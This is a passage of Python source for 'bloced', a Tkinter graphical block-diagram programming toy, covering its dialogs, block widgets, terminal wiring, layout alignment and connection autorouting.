#! /usr/bin/python

from pprint import pprint
from collections import namedtuple
from functools import partial
from itertools import groupby, count, islice
#import argparse
#import traceback
import os
import pickle
import fnmatch
from collections import OrderedDict
import sys
import webbrowser
import time

import pyperclip

import autoroute
import dfs
import core
import serializer
from utils import here
import mathutils

if sys.version_info.major == 3 :
	import tkinter as tk
	from tkinter import font as tkFont
	import tkinter.messagebox as tkMessageBox
	from tkinter.filedialog import askopenfilename, asksaveasfilename
	from tkinter import ttk
	from tkinter.simpledialog import Dialog
	from configparser import SafeConfigParser
	from functools import reduce
else :
	import Tkinter as tk
	import tkFont
	import tkMessageBox
	from tkFileDialog import askopenfilename, asksaveasfilename
	import ttk
	from tkSimpleDialog import Dialog
	from ConfigParser import SafeConfigParser

# ------------------------------------------------------------------------------------------------------------

BIT_SHIFT = 0x001
BIT_CAPSLOCK = 0x002
BIT_CONTROL = 0x004
BIT_LEFT_ALT = 0x008
BIT_NUMLOCK = 0x010
BIT_RIGHT_ALT = 0x080
BIT_MB_1 = 0x100
BIT_MB_2 = 0x200
BIT_MB_3 = 0x400

def get_basic_mod_keys(state) :
	return state & ~(BIT_CAPSLOCK | BIT_NUMLOCK)

# ------------------------------------------------------------------------------------------------------------

class Configuration(object):
	GRID_SIZE = 4
	CANVAS_WIDTH = 2048
	CANVAS_HEIGHT = 2048
	BLOCK_WIRE_STUB = 16
	SELECTION_RECT_SIZE = 2
	APP_NAME = "bloced"
	NONE_FILE = "<unsaved file>"
	SAVE_BEFORE_CLOSE = "Save changes before closing?"
	UNSAVED_DATA_WILL_BE_LOST = "Unsaved data will be lost"
	APP_INFO = os.linesep.join((APP_NAME, "graphical programming toy"))
	HELP_URL = "http://www.tinfoilhat.cz"
	POLL_WORKERS_PERIOD = 200
	SHEET_NAME_SEED = "Sheet{0}"

cfg = Configuration()

# ------------------------------------------------------------------------------------------------------------

class UserSettings(object) :

	def set_defaults(self) :
		self.main_width = 800
		self.main_height = 600
		self.main_left = 127
		self.main_top = 127
		self.recent_files = []

	def __init__(self) :
		self.set_defaults()

# ------------------------------------------------------------------------------------------------------------

selection_t = namedtuple("snt", [ "blocks", "lines" ])#, "joints" ]);
event_t = namedtuple("event_t", ["x", "y", "state"])

# ------------------------------------------------------------------------------------------------------------

class MenuItem(object) :
	def __init__(self) :
		self.text = None
		self.accel = None
		self.handler = None

class SepMnu(MenuItem) :
	pass

class RadioMnu(MenuItem) :
	def __init__(self, text, accel, handler, value=None, selected=False) :
		super(RadioMnu, self).__init__()
		self.text, self.accel, self.handler, self.value, self.selected = text, accel, handler, value, selected

class CheckMnu(MenuItem) :
	def __init__(self, text, accel, handler, value=None, selected=False) :
		super(CheckMnu, self).__init__()
		self.text, self.accel, self.handler, self.value, self.selected = text, accel, handler, selected

class CmdMnu(MenuItem) :
	def __init__(self, text, accel, handler) :
		super(CmdMnu, self).__init__()
		self.text, self.accel, self.handler = text, accel, handler

class CascadeMnu(MenuItem) :
	def __init__(self, text, items) :
		super(CascadeMnu, self).__init__()
		self.text, self.items = text, items

# ------------------------------------------------------------------------------------------------------------

#class textbox(Frame):

#	def __init__(self, parent, msg) :
#		Frame.__init__(self,parent)
#		self.g_label = Label(self,text=msg)
#		self.g_label.pack(side=LEFT,expand=False)
#		self.g_entry = Entry(self)
#		self.g_entry.pack(side=LEFT, fill=X, expand=True)
#		self.pack(fill=X, anchor=NW, expand=True)

#	def text(self) :
#		return self.gui["entry"].get()

# ------------------------------------------------------------------------------------------------------------

class InputDialog(Dialog) :

	def __init__(self, parent, text="", initial="", items=None) :
#		self.__text = text
#		self.__initial_value = initial
		self.__items = items if items else [ (text, initial) ]
		self.__one_value = not items
		Dialog.__init__(self, parent)

	def body(self, master):
		self.__entries = []
#		self.value = (None, ) * len(self.__items)
		self.value = None
		for (text, initial), row in zip(self.__items, count()) :
			tk.Label(master, text=text+" ").grid(row=row)
			e1 = tk.Entry(master)
			e1.insert(0, str(initial))
			e1.grid(row=row, column=1)
			self.__entries.append(e1)

		return self.__entries[0]

	def apply(self):
		if self.__one_value :
			self.value = self.__entries[0].get()
		else :
			self.value = tuple(e1.get() for e1 in self.__entries)

# ------------------------------------------------------------------------------------------------------------

class CustomDialog(tk.Toplevel):

	"""
	taken from http://effbot.org/tkinterbook/tkinter-dialog-windows.htm
	"""

	def __init__(self, parent, title = None) :
		tk.Toplevel.__init__(self, parent)
		self.transient(parent)
		if title:
			self.title(title)
		self.parent = parent
		self.result = None
		body = tk.Frame(self)
		self.initial_focus = self.body(body)
		body.pack(padx=5, pady=5)
		self.buttonbox()
#		self.grab_set()
		if not self.initial_focus:
			self.initial_focus = self
		self.protocol("WM_DELETE_WINDOW", self.cancel)
		self.geometry("+%d+%d" % (parent.winfo_rootx()+50, parent.winfo_rooty()+50))
		self.initial_focus.focus_set()
		self.wait_window(self)

	def body(self, master) :
		# create dialog body.  return widget that should have
		# initial focus.  this method should be overridden
		pass

	def buttonbox(self) :
		# add standard button box. override if you don't want the
		# standard buttons
		box = tk.Frame(self)
		w = tk.Button(box, text="OK", width=10, command=self.ok, default=tk.ACTIVE)
		w.pack(side=tk.LEFT, padx=5, pady=5)
		w = tk.Button(box, text="Cancel", width=10, command=self.cancel)
		w.pack(side=tk.LEFT, padx=5, pady=5)
		self.bind("<Return>", self.ok)
		self.bind("<Escape>", self.cancel)
		box.pack()

	def ok(self, event=None) :
		if event and event.state & BIT_CONTROL :
			return
		if not self.validate() :
			self.initial_focus.focus_set() # put focus back
			return
		self.withdraw()
		self.update_idletasks()
		self.apply()
		self.cancel()

	def cancel(self, event=None) :
		# put focus back to the parent window
		self.parent.focus_set()
		self.destroy()

	def validate(self) :
		return 1 # override

	def apply(self) :
		pass # override

class TextEditorDialog(CustomDialog) :

	def __init__(self, parent, initial) :
		self.value = initial
		CustomDialog.__init__(self, parent)

	def body(self, master) :
		txt = tk.Text(master, wrap="none")
		self.txt = txt
		txt.insert("1.0", self.value)
		self.txt.grid(column=1, row=1, sticky=(tk.W, tk.E, tk.N, tk.S))
		yscroll = tk.Scrollbar(master, orient=tk.VERTICAL, command=self.txt.yview)
		yscroll.grid(column=2, row=1, sticky=(tk.N, tk.S))
		self.txt.configure(yscrollcommand=yscroll.set)
		xscroll = tk.Scrollbar(master, orient=tk.HORIZONTAL, command=self.txt.xview)
		xscroll.grid(column=1, row=2, sticky=(tk.W, tk.E))
		self.txt.configure(xscrollcommand=xscroll.set)
		return txt

	def apply(self):
		self.value = self.txt.get("1.0", "end")

# ------------------------------------------------------------------------------------------------------------

class BlockBase(object) :

	def get_wires(self, sel_blocks=None) :
		sel_blocks = sel_blocks if sel_blocks else (self, )
		return [ ((b0, t0, b1, t1), data) for (b0, t0, b1, t1), data in self.editor.connection2line.items()
			if all([ blck.model in (b0, b1) for blck in sel_blocks ]) ]

	def bind_as_term(self, o) :
		self.tag_bind(o, "<B1-Motion>", self.term_onMouseMove)#TODO use partial(
		self.tag_bind(o, "<ButtonPress-1>", self.term_onMouseDown)
		self.tag_bind(o, "<ButtonRelease-1>", self.term_onMouseUp)

# ------------------------------------------------------------------------------------------------------------

if 0 :
	from PIL import ImageTk, Image, ImageDraw, ImageFont

	class ImageLabel(object) :

		def __init__(self, parent_block, name, text, pos, font) :
			if not hasattr(ImageLabel, "font") :
				ImageLabel.font = ImageFont.load_default()
				_, ImageLabel.txt_height = ImageLabel.font.getsize("jJ")
			fnt = ImageLabel.font
			size = fnt.getsize(text)
			im = Image.new("RGBA", size, (0, 0, 0, 0))
			draw = ImageDraw.Draw(im)
			flipv, fliph, rot = parent_block.model.orientation
			if name == "caption_lbl" :
				lbl_x, lbl_y = parent_block.model.get_label_pos(*size)
				pos = lbl_x, lbl_y
			else :
				lbl_x, lbl_y = pos
			draw.text((0, 0), text, font=fnt, fill=(0, 0, 0)) #Draw text
			img = ImageTk.PhotoImage(
				im if not parent_block.model.orientation[2] % 180 else im.rotate(90, expand=True))
			i = parent_block.create_image((lbl_x, lbl_y), image=img, anchor=tk.NW)
			self.__data = (img, text, pos, i)
			self.canvas_item = i
			self.text = text
			self.pos = pos

else :

	class ImageLabel(object) :

		def __init__(self, parent_block, name, text, pos, font) :
			txt_width = parent_block.editor.font.measure(text)
			size = (txt_width, parent_block.editor.txt_height)
			flipv, fliph, rot = parent_block.model.orientation
			if name == "caption_lbl" :
				lbl_x, lbl_y = parent_block.model.get_label_pos(*size)
				pos = lbl_x, lbl_y
			else :
				lbl_x, lbl_y = pos
			i = parent_block.create_text((lbl_x, lbl_y), text=text, anchor=tk.NW,
				font=font)
			self.__data = (None, text, pos, i)
			self.canvas_item = i
			self.text = text
			self.pos = pos

class Block(tk.Canvas, BlockBase) :

	def term_onMouseDown(self, e) :
		self.term_hit = True
		self.editor.clear_selection()
		return self.editor.blckMouseDown(self, e)

	def term_onMouseMove(self, e) :
		return self.editor.blckMouseMove(self, e)

	def term_onMouseUp(self, e) :
		self.term_hit = False
		return self.editor.blckMouseUp(self, e)

#	editables = (core.ConstProto, core.DelayProto, core.TapProto, core.TapEndProto,
#		core.InputProto, core.OutputProto)

	def autosize_to_text(self) :
		lines = self.model.value[0].split(os.linesep)
		margin = self.editor.font.measure("x")
		w = max(self.editor.font.measure(l) for l in lines) + margin
		h = (self.editor.font.metrics("linespace") * len(lines)) + margin
		self.model.width = w
		self.model.height = h

	def onDblClick(self, e) :
#		if type(self.model.prototype) in Block.editables :
#		print here()#, self.model.prototype, self.model.prototype.values
		self.__dbl_click = True
		if core.compare_proto_to_type(self.model.prototype, core.TextAreaProto) :
			d = TextEditorDialog(self, self.model.value[0])
			if d.value :
				self.editor.model.begin_edit()
				self.model.value = d.value.strip()
				self.autosize_to_text()
				self.editor.model.end_edit()
		elif self.model.prototype.values :
			items = [ (name, val) for (name, _), val
				in zip(self.model.prototype.values, self.model.value)]
			d = InputDialog(self, items=items)
			if d.value :
				self.editor.model.begin_edit()
				self.model.value = d.value
				self.editor.model.end_edit()
				self.update_text()
#			entry = Entry(self)
#			entry.insert(0, str(self.model.value))
#			w = self.create_window(0, 0, window=entry, anchor=NW)
#			entry.bind("<Return>", lambda e: self.close_editor(True, w, entry))
#			entry.bind("<Escape>", lambda e: self.close_editor(False, w, entry))
#			entry.bind("<FocusOut>", lambda e: self.close_editor(False, w, entry))
#			entry.pack(side=LEFT, fill=X)
#			entry.focus()

#	def close_editor(self, accept, w, entry) :
#		if accept :
#			self.model.value = str(entry.get())
#			self.update_text()
#		self.delete(w)
#		entry.destroy()
#		self.config(width=self.model.width, height=self.model.height, bg="white",
#			borderwidth=0, highlightthickness=0)

	def update_text(self) :
		self.__update_label("caption_lbl", self.__caption_lbl_pos, self.model.presentation_text)

	def select_next(self) :
		self.editor.select_next()

	def __update_label(self, name, pos, text) :
		if name in self.__labels :
			l = self.__labels[name]
			if l.text == text and l.pos == pos :
				return l.canvas_item
			else :
				self.__labels.pop(name)
				self.delete(l.canvas_item)
		lbl = ImageLabel(self, name, text, pos, self.editor.font)
		self.__labels[name] = lbl
		return lbl.canvas_item

	def popup(self, e) :
		self.editor.ui.editor_popup.tk_popup(e.x_root, e.y_root, 0)

	def __init__(self, editor, model) :
		self.editor = editor
		self.canvas = editor.canv
		self.model = model
		self.__labels = {}
		self.mouse_down_at = None
		self.__dbl_click = False

		tk.Canvas.__init__(self, self.editor.canv,
			width=self.model.width, height=self.model.height,
			bg="white", borderwidth=0, highlightthickness=0)

		self.window = self.canvas.create_window(self.model.left, self.model.top,
			window=self, anchor=tk.NW)

		self.bind("<B1-Motion>", self.onMouseMoveW)
		self.bind("<ButtonPress-1>", self.onMouseDownW)
		self.bind("<ButtonRelease-1>", self.onMouseUpW)
#		self.bind("<Configure>", self.onConfigure)
		self.bind("<Double-Button-1>", self.onDblClick)
		self.bind("<Tab>", lambda a: self.select_next())
		self.bind("<ButtonPress-3>", self.popup)

		self.border_rect = self.create_rectangle(0, 0, self.model.width - 1, self.model.height - 1)

#		self.caption_txt = self.create_text(0, 0, anchor=NW)
#		self.__caption_lbl_pos = property(lambda self: )
		self.__caption_lbl_pos = (2, 1)
#		print "self.model.presentation_text=", self.model.presentation_text
		self.__caption_lbl = self.__update_label("caption_lbl", self.__caption_lbl_pos, "")

#		self.update_text()

		self.movingObject = None
		self.affected_wires = None
		self.window2term = {}
		self.__term2txt = {}
		self.term_hit = False

		self.create_terms = True
		self.reshape()

	def reshape(self) :
		self.window2term.clear()
		self.__term2txt.clear()
		self.regenerate_terms()
		self.coords(self.border_rect, 0, 0, self.model.width-1, self.model.height-1)
		self.canvas.coords(self.window, self.model.left, self.model.top)
		self.canvas.itemconfig(self.window, width=self.model.width, height=self.model.height)
#		for k, v in self.get_wires() :
#			self.editor.update_connection(*(k + (True,)))
		self.update_text()

	def regenerate_terms(self) :

		txt_height = self.editor.txt_height

		for t in self.model.terms :
			self.delete(t.name)

		if not self.create_terms :
			return None

		for t, nr in self.model.get_terms_flat() :

			term_tag = t.name
			term_label = self.model.get_term_presentation_text(t, nr)

			t_side = self.model.get_term_side(t)

#XXX XXX XXX
#			fnt = self.editor.font_h if t_side in (W, E) else self.editor.font_v
#			txt_width = fnt.measure(term_label)
#			txt_width, _ = self.editor.font.getsize(term_label)
			txt_width = self.editor.font.measure(term_label)
#XXX XXX XXX

			(x, y), (txtx, txty) = self.model.get_term_and_lbl_pos(t, nr, txt_width, txt_height)
			poly = dfs.get_term_poly(
				x,#x-(term_size if t_side == E else 0),
				y,#y-(term_size if t_side == S else 0),
				txt_height, self.model.get_term_side(t), t.direction, txt_width)

			w = self.create_polygon(*poly, fill="white", outline="black", tags=term_tag)
			self.bind_as_term(w)

			txt = self.create_text(txtx, txty, text=term_label, anchor=tk.NW,
				fill="black", tags=term_tag, font=self.editor.font)
			self.bind_as_term(txt)

			self.window2term[w] = t
			self.__term2txt[t] = txt

	def onMouseDownW(self, e) :
		if self.term_hit :
			return None
		self.mouse_down_at = self.move_start = (e.x_root, e.y_root)
#		if e.state & BIT_SHIFT : #TODO
#			pass
		if self.editor.selection and self in self.editor.selection.blocks :
			sel_blocks = tuple(self.editor.selection.blocks)
		else :
			sel_blocks = (self, )
			self.editor.create_selection_from_list(sel_blocks, [])
		self.editor.model.begin_edit()
		self.affected_wires = self.get_wires(sel_blocks=sel_blocks)

	def onMouseMoveW(self, e) :
		if self.term_hit :
			return None
#		if not self.movingObject and self.start : # TODO move to editor
		if not self.movingObject and self.move_start : # TODO move to editor
			self.editor.move_selection(e.x_root-self.move_start[0], e.y_root-self.move_start[1],
				editing_begin_edit_only=True)
			self.move_start = (e.x_root, e.y_root)

	def onMouseUpW(self, e) :
		if self.term_hit :
			return None
		need_wire_update = self.mouse_down_at != (e.x_root, e.y_root)
		self.mouse_down_at = self.move_start = None
		if self.affected_wires and need_wire_update :
			for k, v in self.affected_wires :
				self.editor.update_connection(*(k + (True,)))
		self.affected_wires = None
		if self.__dbl_click :
			self.__dbl_click = False
		else :
			self.editor.model.end_edit()

# ------------------------------------------------------------------------------------------------------------

class Joint(Block) :
	def __init__(self, *u, **v) :
		super(Joint, self).__init__(*u, **v)
		self.create_terms = False
		self.reshape()
		self.configure(bg="black")

# ------------------------------------------------------------------------------------------------------------

class BlockEditor(tk.Frame, dfs.GraphModelListener) :

	def editing(f):
		def decorated(*v, **w) :
			if "editing_begin_edit_only" in w :
				w.pop("editing_begin_edit_only")
#			print here(10)
			v[0].model.begin_edit()
			y = f(*v, **w)
			if "editing_end_edit_only" in w :
				w.pop("editing_end_edit_only")
			v[0].model.end_edit()
			return y
		return decorated

	# ----------------------------------------------------------------------------------------------------

#TODO move layout functions to model
	def layout_reroute(self) :
		if not self.selection :
			return None

		self.model.begin_edit()
		for block in self.selection.blocks :
			for k, _ in block.get_wires() :
				self.update_connection(*(k + (True,)))
		self.model.end_edit()
		self.resize_selection()

	def equal_spacing(self, axis) :
		if not self.selection or len(self.selection.blocks) < 3 :
			return None

		if axis == "x" :
			get_coord = lambda block: (block.model.left, block.model.width)
			set_coord = lambda block, a: block.model._BlockModel__set_left(a)
		elif axis == "y" :
			get_coord = lambda block: (block.model.top, block.model.height)
			set_coord = lambda block, a: block.model._BlockModel__set_top(a)
		else :
			raise Exception("unknown spacing")

		blocks = tuple(sorted(((b, get_coord(b)) for b in self.selection.blocks),
			key=lambda b: b[1][0]))

		min_a = min(a for b, (a, _) in blocks)
		max_a = max(sum(a_sz) for b, a_sz in blocks)
		blocks_size = sum(size for b, (_, size) in blocks)
		spacing = (max_a - min_a - blocks_size) / (len(blocks) - 1)

		self.model.begin_edit()
		v = min_a
		for block, (a, size) in blocks :
			set_coord(block, v)
			v += size + spacing
		self.model.end_edit()
		self.resize_selection()

	def layout_align(self, align) :
		if not self.selection :
			return None

		if align == "lefts" :
			f_scan = lambda blocks : min(b.left for b in blocks)
			f_xfrm = lambda l, b : (l, b.top)
		elif align == "centers" :
			f_scan = lambda blocks : sum((b.left+b.width/2) for b in blocks) / len(blocks)
			f_xfrm = lambda c, b : (c - b.width / 2, b.top)
		elif align == "rights" :
			f_scan = lambda blocks : max((b.left+b.width) for b in blocks)
			f_xfrm = lambda r, b : (r-b.width, b.top)
		elif align == "tops" :
			f_scan = lambda blocks : min(b.top for b in blocks)
			f_xfrm = lambda t, b : (b.left, t)
		elif align == "middles" :
			f_scan = lambda blocks : sum((b.top+b.height/2) for b in blocks) / len(blocks)
			f_xfrm = lambda c, b : (b.left, c - b.height / 2)
		elif align == "bottoms" :
			f_scan = lambda blocks : max((b.top+b.height) for b in blocks)
			f_xfrm = lambda t, b : (b.left, t-b.height)
		else :
			raise Exception("unknown alignment")

		p = f_scan(tuple(block.model for block in self.selection.blocks))
		self.model.begin_edit()
		for block in self.selection.blocks :
			block.model.left, block.model.top = f_xfrm(p, block.model)
		self.model.end_edit()
		self.resize_selection()

	# ----------------------------------------------------------------------------------------------------

	def blckMouseDown(self, sender, e) :
		tw = e.widget.find_overlapping(e.x-1, e.y-1, e.x+1, e.y+1)
		if not tw or not tw[0] in sender.window2term :
			return None
		sender.movingObject = sender.window2term[tw[0]]
		#if not self.model.can_move :
		#	return None
		self.start = e
		xo, yo = tuple(self.canv.coords(sender.window))
		dstx = e.x + xo
		dsty = e.y + yo
#		tblock, _ = self.__get_obj_at(dstx, dsty)
		block, term = self.__get_term_at(sender, dstx, dsty)
		self.model.begin_edit()
		if term :
			p = (block.model, term)
			conn = [ (src, dst) for src, dst in self.model.connections.items()
				if p == src or p in dst ]
			if conn :
				((sb, st), ((tb, tt),)), = conn
#				assert(len(dst) == 1)
#				print "term connected", sb, st, tb, tt
				self.model.remove_connection(sb, st, tb, tt)

		self.offset = (e.x + xo, e.y + yo)
		self.line = self.canv.create_line(0, 0, 0, 0, arrow=tk.LAST, arrowshape=(10, 10, 5))

	def blckMouseMove(self, sender, e) :
		if self.selection :
			#XXX XXX XXX self.move_selection(sender, e)
			return None
		if not sender.movingObject :
			return None
		xo, yo = tuple(self.canv.coords(sender.window))
		self.canv.coords(self.line, self.offset[0], self.offset[1], e.x+xo, e.y+yo)

	def __get_term_at(self, blck, dstx, dsty, filt_dir=None) :
		xo1, yo1, ro1, bo1 = tuple(self.canv.bbox(blck.window))
		tdstx, tdsty = dstx - xo1, dsty - yo1
		if not core.compare_proto_to_type(blck.model.prototype, core.JointProto) :
			terms = blck.find_overlapping(tdstx-1, tdsty-1, tdstx+1, tdsty+1)
			dstterms = [ blck.window2term[t] for t in terms if t in blck.window2term ]
		else :
			dstterms = blck.model.terms
#		print "__get_term_at:", [(t, t.direction, t.direction ==filt_dir) for t in dstterms]
#		dstterm = None
#		if terms and terms[0] in blck.window2term :
#			dstterm = blck.window2term[terms[0]]
		f_dstterms = [ t for t in dstterms if (filt_dir == None or t.direction == filt_dir) ]
		return (blck, f_dstterms[0] if f_dstterms else None)

	def __get_obj_at(self, dstx, dsty, filt_dir=None) :
		a = 2
		hits = self.canv.find_overlapping(dstx-a, dsty-a, dstx+a, dsty+a)
		hit_blocks = [ self.__get_term_at(self.window_index[w], dstx, dsty, filt_dir)
				for w in hits if w in self.window_index ]
		hit_wires = [ conn for conn, (w, etc) in self.connection2line.items() if w in hits ]
#		pprint(self.window_index)
#		print(hits)
#		print "__get_obj_at: b:", hit_blocks, " w:", hit_wires
		return ( hit_blocks[0] if hit_blocks else None, hit_wires[0] if hit_wires else None)

	def blckMouseUp(self, sender, e) :
		if not sender.movingObject :
			return None
		self.start = None
		srcterm = sender.movingObject
		sender.movingObject = None
		self.canv.delete(self.line)
		self.line = None
		xo0, yo0, ro0, bo0 = tuple(self.canv.bbox(sender.window))
		dstx = e.x + xo0
		dsty = e.y + yo0

		tblock, twire = self.__get_obj_at(dstx, dsty,
			core.INPUT_TERM if srcterm.direction == core.OUTPUT_TERM else core.OUTPUT_TERM)

		if tblock :
#			print "blckMouseUp:", tblock
			blck, dstterm = tblock
#			if isinstance(blck.model.prototype, core.JointProto) :
#				print "kvak", blck, blck.model, blck.model.terms, dstterm
#				dstterm = Out(0, "", C, 0) if srcterm.direction == core.INPUT_TERM else In(0, "", C, 0)
#				blck.model.terms.append(dstterm)
#				self.canv.tag_raise(blck.window)
#			print "kvak2", sender.model, srcterm, blck.model, dstterm
			if ( dstterm != None and blck != sender and srcterm != dstterm and
					self.model.can_connect(sender.model, srcterm, blck.model, dstterm) ) :
				self.model.add_connection(sender.model, srcterm, blck.model, dstterm, {})
#				self.model.end_edit()
#			else :
#				self.model.end_edit()
#		else :
#			self.model.end_edit()
		elif twire and srcterm.direction == core.INPUT_TERM :
			self.model.begin_edit()
			src_blck, src_term, dst_blck, dst_term = twire
			self.model.remove_connection(src_blck, src_term, dst_blck, dst_term)
			proto = core.JointProto()
			w, h = proto.default_size
			joint = dfs.BlockModel(proto, self.model, left=dstx-w/2, top=dsty-h/2)
			self.model.add_block(joint)
			t_in = [ t for t in joint.terms if t.direction == core.INPUT_TERM ][0]
			t_out = [ t for t in joint.terms if t.direction == core.OUTPUT_TERM ][0]
			self.model.add_connection(src_blck,
				src_term[0] if isinstance(src_term, tuple) else src_term, joint, t_in, {})
			self.model.add_connection(joint, t_out, dst_blck,
				dst_term[0] if isinstance(dst_term, tuple) else dst_term, {})
			self.model.add_connection(joint, t_out, sender.model, srcterm, {})
			self.model.end_edit()

	# ----------------------------------------------------------------------------------------------------

	def block_added(self, sheet, model) :
	#TODO unify
#		b = self.m_view_types[model.prototype](self, model)
		if core.compare_proto_to_type(model.prototype, core.JointProto) :
			b = Joint(self, model)
		else :
			b = Block(self, model)
			if core.compare_proto_to_type(model.prototype, core.TextAreaProto) :
				self.model.begin_edit()
				b.autosize_to_text()
				self.model.end_edit()
				b.reshape()
		self.block_index[model] = b
		self.window_index[b.window] = b

	def block_removed(self, sheet, block) :
		window = self.block_index[block].window
		self.canv.delete(window)
		self.block_index.pop(block)
		self.window_index.pop(window)

	def block_changed(self, sheet, block, event=None, reroute=False) :
		if not block in self.block_index :
			return None
		b = self.block_index[block]
		if self.manipulating == None : # and not self.move_indication :
#			traceback.print_stack()
			if event and event["p"] in [ "left", "top", "width", "height",
			  "orientation", "term_meta" ] : # and
				b.reshape()
				do_reroute = reroute #or event["p"] == "term_meta"
				for k, v in b.get_wires() : #XXX move to reshape?
					self.update_connection(*(k + (do_reroute,)))
				if self.selection :
					self.resize_selection()
#			elif event and event["p"] == "term_meta" :
#				print "term_meta changed", event
		b.update_text()

#		if block in self.block_index :
#			print "block_changed: rewiring"
#			for k, v in self.block_index[block].get_wires() :
#				self.update_connection(*(k + (True,)))

	def connection_changed(self, sheet, sb, st, tb, tt) :
		line, linecoords = self.connection2line[(sb, st, tb, tt)]
		meta = self.model.get_connection_meta(sb, st, tb, tt)
		if "path" in meta :
			path = meta["path"]
			self.connection2line[(sb, st, tb, tt)] = (line, path)
			self.canv.coords(line, *path)

	def connection_added(self, sheet, sb, st, tb, tt, deserializing=False) :
		#TODO i/o arrow dir, make it cleaner
		line = self.canv.create_line(0, 0, 0, 0, arrow=tk.LAST, arrowshape=(10, 10, 5))
		self.connection2line[(sb, st, tb, tt)] = (line, [])

		conn_meta = dict(self.model.get_connection_meta(sb, st, tb, tt))
#		print(here(), sb, st, tb, tt, "deserializing:", deserializing, "path" in conn_meta)

		if deserializing or "path" in conn_meta :
			if "path" in conn_meta :
				linecoords = list(conn_meta["path"])
				self.connection2line[(sb, st, tb, tt)] = (line, linecoords)
				self.canv.coords(line, *linecoords)
			else :
				self.update_connection(sb, st, tb, tt, True)
		else :
#			self.update_connection(sb, st, tb, tt, True)
			for block in (sb, tb) :
				if block in self.block_index :
					for k, v in self.block_index[block].get_wires() :
						self.update_connection(*(k + (True,)))

#	def rewire_after_conn_changed(self, sb, st, tb, tt) :
#		for b, t in ((sb, st), (tb, tt)) :
#			if isinstance(t, tuple) :
#				for k, v in self.block_index[b].get_wires() :
#					self.update_connection(*(k + (True,)))

	def connection_removed(self, sheet, sb, st, tb, tt) :
		for block, term in ((sb, st), (tb, tt)) :
#			if isinstance(block.prototype, core.JointProto) :
#				block.terms.remove(term)
#				if not block.terms and block in self.model.blocks :
#					self.model.remove_block(block)
#			else :
			bm = self.block_index[block]
			bm.reshape()
#			if isinstance(term, tuple) :
#				for k, v in bm.get_wires() :
#					self.update_connection(*(k + (True,)))
#		self.rewire_after_conn_changed(sb, st, tb, tt)
		self.canv.delete(self.connection2line[(sb, st, tb, tt)][0])
		self.connection2line.pop((sb, st, tb, tt))
		for block in (sb, tb) :
			if block in self.block_index :
				for k, v in self.block_index[block].get_wires() :
					self.update_connection(*(k + (True,)))

	# ----------------------------------------------------------------------------------------------------

	def update_connection(self, sb, t0, tb, t1, fullroute) :
#		print(here(), fullroute)
		line, path = self.connection2line[(sb, t0, tb, t1)]

		st, sn = t0 if isinstance(t0, tuple) else (t0, 0)
		tt, tn = t1 if isinstance(t1, tuple) else (t1, 0)

#		print "update_connection: ", sb, st, sn, tb, tt, tn, line, path

#		txt_height = self.txt_height
#			txt_width = self.editor.font.measure(sb.get_term_presentation_text(st, sn))

		s0 = sb.get_term_location(st, sn,
			self.font.measure(sb.get_term_presentation_text(st, sn)), self.txt_height)
		tA = tb.get_term_location(tt, tn,
			self.font.measure(tb.get_term_presentation_text(tt, tn)), self.txt_height)

#		print "update_connection: tt, tn, tA =", tt, tn, tA, (tb.left, tb.width)

		bump = cfg.BLOCK_WIRE_STUB
		bumps = { dfs.N: (0, -bump), dfs.S: (0, bump), dfs.W: (-bump, 0), dfs.E: (bump, 0), dfs.C: (0, 0) }

		bump0x, bump0y = bumps[sb.get_term_side(st)]
		s = autoroute.pnt(int(s0[0]+bump0x), int(s0[1]+bump0y))

		bump1x, bump1y = bumps[tb.get_term_side(tt)]
		t = autoroute.pnt(int(tA[0]+bump1x), int(tA[1]+bump1y))

		route = None
		if fullroute :
			r1 = (autoroute.rct(sb.left, sb.top, sb.width, sb.height) if sb.get_term_side(st) != dfs.C
				else autoroute.rct(sb.left, sb.top, 1, 1))
			r2 = (autoroute.rct(tb.left, tb.top, tb.width, tb.height) if tb.get_term_side(tt) != dfs.C
				else autoroute.rct(tb.left, tb.top, 1, 1))
			bbox = autoroute.choose_bbox(r1, r2,
				autoroute.rct(*self.canvas_scrollregion), bump + 1)
			route = autoroute.mtroute_simple(s, t, bbox, r1, r2)

		if route :
			linecoords = reduce(lambda w, p: w + [ p[0], p[1] ],
				route, list(s0)) + [ tA[0], tA[1] ]
		else :
			linecoords = [ s0[0], s0[1], s[0], s[1], t[0], t[1], tA[0], tA[1] ]

		self.connection2line[(sb, t0, tb, t1)] = (line, linecoords)
		self.canv.coords(line, *linecoords)
		self.model.set_connection_meta(sb, t0, tb, t1, { "path" : linecoords })

	# ----------------------------------------------------------------------------------------------------

	#TODO line_edit_data = namedtuple("line_edit_data", ["x"])

	def get_nearest(self, x, y, ssz = 4) :
		o = self.canv.find_overlapping(x-ssz, y-ssz, x+ssz, y+ssz)
		filtered_old = ((o, list(filter(lambda v: o[0] == v[1][0], self.connection2line.items())))
			if o else (None, None))
		filtered = ((o, [ v for v in self.connection2line.items() if o[0] == v[1][0] ])
			if o else (None, None))
		assert(filtered==filtered_old)
#		print "get_nearest:", o, filtered
		return filtered

	def default_mousedown(self, ee) :

		self.canv.focus_set()

		e = event_t(self.canv.canvasx(ee.x), self.canv.canvasy(ee.y), ee.state)

		self.canv.focus_set()
		self.clear_selection()
		if self.manipulating or e.state & BIT_SHIFT:
			return None
		self.move_start = e
		self.manipulating = False
		_, item = self.get_nearest(e.x, e.y)
		if item :
			route = item[0][1][1] # XXX XXX XXX fuckoff!!!
			kneebonus = 4
			indices = range(0, len(route)-2, 2)

			dist = ([ ((i, 2), mathutils.pldist(*(route[i:i+4]+[e.x, e.y]))) for i in indices ] +
				[ ((i, 1), mathutils.ppdist(*(route[i:i+2]+[e.x, e.y]))-kneebonus) for i in indices ])
			segment, dist = reduce(lambda a, b: a if a[1] < b[1] else b, dist)

			self.mdata2 = segment

			if e.state & BIT_CONTROL and segment[1] == 2 :

				dist, (knee_x, knee_y) = mathutils.pldistex(
					route[self.mdata2[0]], route[self.mdata2[0]+1],
					route[self.mdata2[0]+2], route[self.mdata2[0]+3],
					e.x, e.y)
				item[0][1][1].insert(self.mdata2[0]+2, knee_y)
				item[0][1][1].insert(self.mdata2[0]+2, knee_x)
				self.mdata2 = (self.mdata2[0]+2, 1)

			self.manipulating = "connection"
			self.mdata = item[0]
#			print here(), self.mdata
#			self.model.begin_edit()

		else :
			self.selection_rect = self.create_selection_rect(e.x, e.y, e.x, e.y)
#			self.create_selection([])

#		(sb, t0, tb, t1), (canv_line, linecoords) = self.mdata
#		meta = self.model.get_connection_meta(sb, t0, tb, t1)
#		print here(), "old:", meta["path"]

	def default_mousemove(self, ee) :
